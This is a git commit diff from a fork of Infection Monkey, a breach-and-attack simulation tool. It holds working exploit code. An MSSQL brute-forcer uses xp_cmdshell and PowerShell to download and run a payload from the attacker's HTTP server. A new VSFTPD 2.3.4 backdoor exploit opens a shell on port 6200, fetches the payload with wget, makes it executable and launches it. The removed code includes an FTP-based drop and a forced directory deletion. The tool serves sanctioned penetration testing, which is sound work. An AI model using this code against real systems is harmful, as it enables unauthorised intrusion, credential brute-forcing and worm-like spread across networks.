forked from p15670423/monkey
Merge remote-tracking branch 'upstream/develop' into attack_configuration
# Conflicts: # monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
This commit is contained in:
commit
691647708f
|
@ -104,8 +104,8 @@ class Configuration(object):
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = '/bin/sh'
|
dropper_date_reference_path_linux = '/bin/sh'
|
||||||
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
|
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
|
||||||
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
|
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
||||||
dropper_target_path_linux = '/tmp/monkey'
|
dropper_target_path_linux = '/tmp/monkey'
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
|
|
|
@ -25,8 +25,8 @@
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
"dropper_log_path_linux": "/tmp/user-1562",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
|
|
||||||
monkey_dir_linux = '/tmp/monkey_dir',
|
monkey_dir_linux = '/tmp/monkey_dir',
|
||||||
|
@ -45,7 +45,8 @@
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter"
|
"HadoopExploiter",
|
||||||
|
"VSFTPDExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
|
||||||
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||||
|
from infection_monkey.exploit.vsftpd import VSFTPDExploiter
|
||||||
|
|
|
@ -1,12 +1,15 @@
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
|
from time import sleep
|
||||||
import pymssql
|
import pymssql
|
||||||
|
import textwrap
|
||||||
|
|
||||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
from infection_monkey.exploit import HostExploiter, tools
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
from infection_monkey.exploit.tools import HTTPTools
|
||||||
__author__ = 'Maor Rayzin'
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.model import DROPPER_ARG
|
||||||
|
from infection_monkey.exploit.tools import get_monkey_dest_path
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
LOGIN_TIMEOUT = 15
|
LOGIN_TIMEOUT = 15
|
||||||
|
# Time in seconds to wait between MSSQL queries.
|
||||||
|
QUERY_BUFFER = 0.5
|
||||||
SQL_DEFAULT_TCP_PORT = '1433'
|
SQL_DEFAULT_TCP_PORT = '1433'
|
||||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
# Temporary file that saves commands for monkey's download and execution.
|
||||||
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(MSSQLExploiter, self).__init__(host)
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
|
||||||
|
|
||||||
def create_payload_file(self, payload_path):
|
|
||||||
"""
|
|
||||||
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
|
||||||
:param payload_path: A path to the create the payload file in
|
|
||||||
:return: True if the payload file was created and false otherwise.
|
|
||||||
"""
|
|
||||||
try:
|
|
||||||
with open(payload_path, 'w+') as payload_file:
|
|
||||||
payload_file.write('dir C:\\')
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error("Payload file couldn't be created", exc_info=True)
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
"""
|
# Brute force to get connection
|
||||||
Main function of the mssql brute force
|
|
||||||
Return:
|
|
||||||
True or False depends on process success
|
|
||||||
"""
|
|
||||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
|
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||||
|
|
||||||
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
|
if not cursor:
|
||||||
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
|
|
||||||
|
|
||||||
if not self.create_payload_file(payload_path):
|
|
||||||
return False
|
|
||||||
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
|
||||||
payload_path):
|
|
||||||
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def handle_payload(self, cursor, payload):
|
# Get monkey exe for host and it's path
|
||||||
"""
|
src_path = tools.get_target_monkey(self.host)
|
||||||
Handles the process of payload sending and execution, prepares the attack and details.
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
Args:
|
|
||||||
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
|
||||||
payload (string): Payload path
|
|
||||||
|
|
||||||
Return:
|
|
||||||
True or False depends on process success
|
|
||||||
"""
|
|
||||||
|
|
||||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
|
||||||
|
|
||||||
if chosen_attack.send_payload():
|
|
||||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
|
||||||
if chosen_attack.execute_payload():
|
|
||||||
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
|
||||||
chosen_attack.cleanup_files()
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
|
||||||
else:
|
|
||||||
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
|
||||||
|
|
||||||
chosen_attack.cleanup_files()
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
# Create server for http download and wait for it's startup.
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
dst_path = get_monkey_dest_path(http_path)
|
||||||
|
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
|
||||||
|
|
||||||
|
# Create monkey dir.
|
||||||
|
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
|
||||||
|
# Form download command in a file
|
||||||
|
commands = [
|
||||||
|
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
|
||||||
|
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
|
||||||
|
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||||
|
|
||||||
|
# Form monkey's command in a file
|
||||||
|
monkey_args = tools.build_monkey_commandline(self.host,
|
||||||
|
tools.get_monkey_depth() - 1,
|
||||||
|
dst_path)
|
||||||
|
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||||
|
for part in textwrap.wrap(monkey_args, 40)]
|
||||||
|
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||||
|
commands.extend(monkey_args)
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_file(cursor, file_path):
|
||||||
|
command = ["exec xp_cmdshell \"%s\"" % file_path]
|
||||||
|
return MSSQLExploiter.execute_command(cursor, command)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def execute_command(cursor, cmds):
|
||||||
|
"""
|
||||||
|
Executes commands on MSSQL server
|
||||||
|
:param cursor: MSSQL connection
|
||||||
|
:param cmds: list of commands in MSSQL syntax.
|
||||||
|
:return: True if successfully executed, false otherwise.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Running the cmd on remote host
|
||||||
|
for cmd in cmds:
|
||||||
|
cursor.execute(cmd)
|
||||||
|
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||||
"""
|
"""
|
||||||
Starts the brute force connection attempts and if needed then init the payload process.
|
Starts the brute force connection attempts and if needed then init the payload process.
|
||||||
Main loop starts here.
|
Main loop starts here.
|
||||||
|
@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter):
|
||||||
Args:
|
Args:
|
||||||
host (str): Host ip address
|
host (str): Host ip address
|
||||||
port (str): Tcp port that the host listens to
|
port (str): Tcp port that the host listens to
|
||||||
payload (str): Local path to the payload
|
|
||||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||||
|
|
||||||
Return:
|
Return:
|
||||||
|
@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter):
|
||||||
'using user: {1}, password: {2}'.format(host, user, password))
|
'using user: {1}, password: {2}'.format(host, user, password))
|
||||||
self.report_login_attempt(True, user, password)
|
self.report_login_attempt(True, user, password)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
|
return cursor
|
||||||
# Handles the payload and return True or False
|
|
||||||
if self.handle_payload(cursor, payload):
|
|
||||||
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.warning("user: {0} and password: {1}, "
|
|
||||||
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
|
||||||
.format(user, password, host, payload))
|
|
||||||
except pymssql.OperationalError:
|
except pymssql.OperationalError:
|
||||||
# Combo didn't work, hopping to the next one
|
# Combo didn't work, hopping to the next one
|
||||||
pass
|
pass
|
||||||
|
|
||||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||||
'aborting brute force'.format(host, port))
|
'aborting brute force'.format(host, port))
|
||||||
return False
|
return None
|
||||||
|
|
|
@ -1,208 +0,0 @@
|
||||||
import os
|
|
||||||
import multiprocessing
|
|
||||||
import logging
|
|
||||||
|
|
||||||
import pymssql
|
|
||||||
|
|
||||||
from infection_monkey.exploit.tools import get_interface_to_target
|
|
||||||
from pyftpdlib.authorizers import DummyAuthorizer
|
|
||||||
from pyftpdlib.handlers import FTPHandler
|
|
||||||
from pyftpdlib.servers import FTPServer
|
|
||||||
from time import sleep
|
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'Maor Rayzin'
|
|
||||||
|
|
||||||
|
|
||||||
FTP_SERVER_PORT = 1026
|
|
||||||
FTP_SERVER_ADDRESS = ''
|
|
||||||
FTP_SERVER_USER = 'brute'
|
|
||||||
FTP_SERVER_PASSWORD = 'force'
|
|
||||||
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
|
|
||||||
FTP_WORK_DIR_LINUX = '/tmp/'
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class FTP(object):
|
|
||||||
|
|
||||||
"""Configures and establish an FTP server with default details.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
user (str): User for FTP server auth
|
|
||||||
password (str): Password for FTP server auth
|
|
||||||
working_dir (str): The local working dir to init the ftp server on.
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
|
|
||||||
"""Look at class level docstring."""
|
|
||||||
self.dst_ip = host.ip_addr
|
|
||||||
self.user = user
|
|
||||||
self.password = password
|
|
||||||
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
|
|
||||||
|
|
||||||
def run_server(self):
|
|
||||||
|
|
||||||
""" Configures and runs the ftp server to listen forever until stopped.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Defining an authorizer and configuring the ftp user
|
|
||||||
authorizer = DummyAuthorizer()
|
|
||||||
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
|
|
||||||
|
|
||||||
# Normal ftp handler
|
|
||||||
handler = FTPHandler
|
|
||||||
handler.authorizer = authorizer
|
|
||||||
|
|
||||||
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
|
|
||||||
|
|
||||||
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
|
||||||
self.server = FTPServer(address, handler)
|
|
||||||
|
|
||||||
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
|
||||||
# multiproccess is being used here.
|
|
||||||
self.server.serve_forever()
|
|
||||||
|
|
||||||
def stop_server(self):
|
|
||||||
# Stops the FTP server and closing all connections.
|
|
||||||
self.server.close_all()
|
|
||||||
|
|
||||||
|
|
||||||
class AttackHost(object):
|
|
||||||
"""
|
|
||||||
This class acts as an interface for the attacking methods class
|
|
||||||
|
|
||||||
Args:
|
|
||||||
payload_path (str): The local path of the payload file
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, payload_path):
|
|
||||||
self.payload_path = payload_path
|
|
||||||
|
|
||||||
def send_payload(self):
|
|
||||||
raise NotImplementedError("Send function not implemented")
|
|
||||||
|
|
||||||
def execute_payload(self):
|
|
||||||
raise NotImplementedError("execute function not implemented")
|
|
||||||
|
|
||||||
|
|
||||||
class CmdShellAttack(AttackHost):
|
|
||||||
|
|
||||||
"""
|
|
||||||
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
|
||||||
|
|
||||||
Args:
|
|
||||||
payload_path (str): The local path of the payload file
|
|
||||||
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
|
||||||
host (model.host.VictimHost): Host this attack is going to target
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self, payload_path, cursor, host):
|
|
||||||
super(CmdShellAttack, self).__init__(payload_path)
|
|
||||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
|
|
||||||
self.cursor = cursor
|
|
||||||
self.attacker_ip = get_interface_to_target(host.ip_addr)
|
|
||||||
|
|
||||||
def send_payload(self):
|
|
||||||
"""
|
|
||||||
Sets up an FTP server and using it to download the payload to the remote host
|
|
||||||
|
|
||||||
Return:
|
|
||||||
True if payload sent False if not.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Sets up the cmds to run
|
|
||||||
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
|
||||||
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
|
||||||
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
|
||||||
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
|
||||||
.format(self.payload_path)
|
|
||||||
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
|
||||||
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
|
||||||
|
|
||||||
# Checking to see if ftp server is up
|
|
||||||
if self.ftp_server_p and self.ftp_server:
|
|
||||||
try:
|
|
||||||
# Running the cmd on remote host
|
|
||||||
for cmd in shellcmds:
|
|
||||||
self.cursor.execute(cmd)
|
|
||||||
sleep(0.5)
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
return False
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.error("Couldn't establish an FTP server for the dropout")
|
|
||||||
return False
|
|
||||||
|
|
||||||
def execute_payload(self):
|
|
||||||
|
|
||||||
"""
|
|
||||||
Executes the payload after ftp drop
|
|
||||||
|
|
||||||
Return:
|
|
||||||
True if payload was executed successfully, False if not.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Getting the payload's file name
|
|
||||||
payload_file_name = os.path.split(self.payload_path)[1]
|
|
||||||
|
|
||||||
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
|
|
||||||
shellcmd = """DECLARE @i INT \
|
|
||||||
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
|
||||||
SELECT @i """.format(payload_file_name)
|
|
||||||
|
|
||||||
try:
|
|
||||||
# Executing payload on remote host
|
|
||||||
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
|
||||||
self.cursor.execute(shellcmd)
|
|
||||||
if self.cursor.fetchall()[0][0] == 0:
|
|
||||||
# Success
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
return False
|
|
||||||
|
|
||||||
except pymssql.OperationalError as e:
|
|
||||||
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
|
||||||
self.ftp_server_p.terminate()
|
|
||||||
return False
|
|
||||||
|
|
||||||
def cleanup_files(self):
|
|
||||||
"""
|
|
||||||
Cleans up the folder with the attack related files (C:\\tmp by default)
|
|
||||||
:return: True or False if command executed or not.
|
|
||||||
"""
|
|
||||||
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
|
|
||||||
try:
|
|
||||||
self.cursor.execute(cleanup_command)
|
|
||||||
LOG.info('Attack files cleanup command has been sent.')
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
|
||||||
return False
|
|
||||||
|
|
||||||
def __init_ftp_server(self, host):
|
|
||||||
"""
|
|
||||||
Init an FTP server using FTP class on a different process
|
|
||||||
|
|
||||||
Return:
|
|
||||||
ftp_s: FTP server object
|
|
||||||
p: the process obj of the FTP object
|
|
||||||
"""
|
|
||||||
|
|
||||||
try:
|
|
||||||
ftp_s = FTP(host)
|
|
||||||
multiprocessing.log_to_stderr(logging.DEBUG)
|
|
||||||
p = multiprocessing.Process(target=ftp_s.run_server)
|
|
||||||
p.start()
|
|
||||||
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
|
||||||
return ftp_s, p
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
|
|
||||||
return None, None
|
|
|
@ -0,0 +1,149 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
||||||
|
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
||||||
|
only vulnerable version is "2.3.4"
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
import StringIO
|
||||||
|
import logging
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||||
|
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||||
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from logging import getLogger
|
||||||
|
|
||||||
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
__author__ = 'D3fa1t'
|
||||||
|
|
||||||
|
FTP_PORT = 21 # port at which vsftpd runs
|
||||||
|
BACKDOOR_PORT = 6200 # backdoor port
|
||||||
|
RECV_128 = 128 # In Bytes
|
||||||
|
UNAME_M = "uname -m"
|
||||||
|
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||||
|
UNLIMITED = "unlimited;"
|
||||||
|
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
|
||||||
|
PASSWORD = b'PASS please' # Ftp Password
|
||||||
|
FTP_TIME_BUFFER = 1 # In seconds
|
||||||
|
|
||||||
|
class VSFTPDExploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['linux']
|
||||||
|
|
||||||
|
def __init__ (self, host):
|
||||||
|
self._update_timestamp = 0
|
||||||
|
super(VSFTPDExploiter, self).__init__(host)
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
|
def socket_connect(self, s, ip_addr, port):
|
||||||
|
try:
|
||||||
|
s.connect((ip_addr, port))
|
||||||
|
return True
|
||||||
|
except socket.error as e:
|
||||||
|
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def socket_send_recv(self, s, message):
|
||||||
|
try:
|
||||||
|
s.send(message)
|
||||||
|
return s.recv(RECV_128).decode('utf-8')
|
||||||
|
except socket.error as e:
|
||||||
|
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def socket_send(self, s, message):
|
||||||
|
try:
|
||||||
|
s.send(message)
|
||||||
|
return True
|
||||||
|
except socket.error as e:
|
||||||
|
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
LOG.info("Attempting to trigger the Backdoor..")
|
||||||
|
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||||
|
ftp_socket.recv(RECV_128).decode('utf-8')
|
||||||
|
|
||||||
|
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
|
||||||
|
time.sleep(FTP_TIME_BUFFER)
|
||||||
|
self.socket_send(ftp_socket, PASSWORD + '\n')
|
||||||
|
ftp_socket.close()
|
||||||
|
LOG.info('Backdoor Enabled, Now we can run commands')
|
||||||
|
else:
|
||||||
|
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
LOG.info('Attempting to connect to backdoor...')
|
||||||
|
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||||
|
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||||
|
|
||||||
|
uname_m = str.encode(UNAME_M + '\n')
|
||||||
|
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||||
|
|
||||||
|
if response:
|
||||||
|
LOG.info('Response for uname -m: %s', response)
|
||||||
|
if '' != response.lower().strip():
|
||||||
|
# command execution is successful
|
||||||
|
self.host.os['machine'] = response.lower().strip()
|
||||||
|
self.host.os['type'] = 'linux'
|
||||||
|
else :
|
||||||
|
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||||
|
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Create a http server to host the monkey
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||||
|
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||||
|
LOG.info("Download link for monkey is %s", http_path)
|
||||||
|
|
||||||
|
# Upload the monkey to the machine
|
||||||
|
monkey_path = dropper_target_path_linux
|
||||||
|
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
|
||||||
|
download_command = str.encode(str(download_command) + '\n')
|
||||||
|
LOG.info("Download command is %s", download_command)
|
||||||
|
if self.socket_send(backdoor_socket, download_command):
|
||||||
|
LOG.info('Monkey is now Downloaded ')
|
||||||
|
else:
|
||||||
|
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
|
||||||
|
# Change permissions
|
||||||
|
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
|
||||||
|
change_permission = str.encode(str(change_permission) + '\n')
|
||||||
|
LOG.info("change_permission command is %s", change_permission)
|
||||||
|
backdoor_socket.send(change_permission)
|
||||||
|
|
||||||
|
# Run monkey on the machine
|
||||||
|
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||||
|
|
||||||
|
# Set unlimited to memory
|
||||||
|
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||||
|
run_monkey = str.encode(str(run_monkey) + '\n')
|
||||||
|
time.sleep(FTP_TIME_BUFFER)
|
||||||
|
if backdoor_socket.send(run_monkey):
|
||||||
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -39,6 +40,7 @@ class InfectionMonkey(object):
|
||||||
self._exploiters = None
|
self._exploiters = None
|
||||||
self._fingerprint = None
|
self._fingerprint = None
|
||||||
self._default_server = None
|
self._default_server = None
|
||||||
|
self._default_server_port = None
|
||||||
self._depth = 0
|
self._depth = 0
|
||||||
self._opts = None
|
self._opts = None
|
||||||
self._upgrading_to_64 = False
|
self._upgrading_to_64 = False
|
||||||
|
@ -59,6 +61,10 @@ class InfectionMonkey(object):
|
||||||
self._parent = self._opts.parent
|
self._parent = self._opts.parent
|
||||||
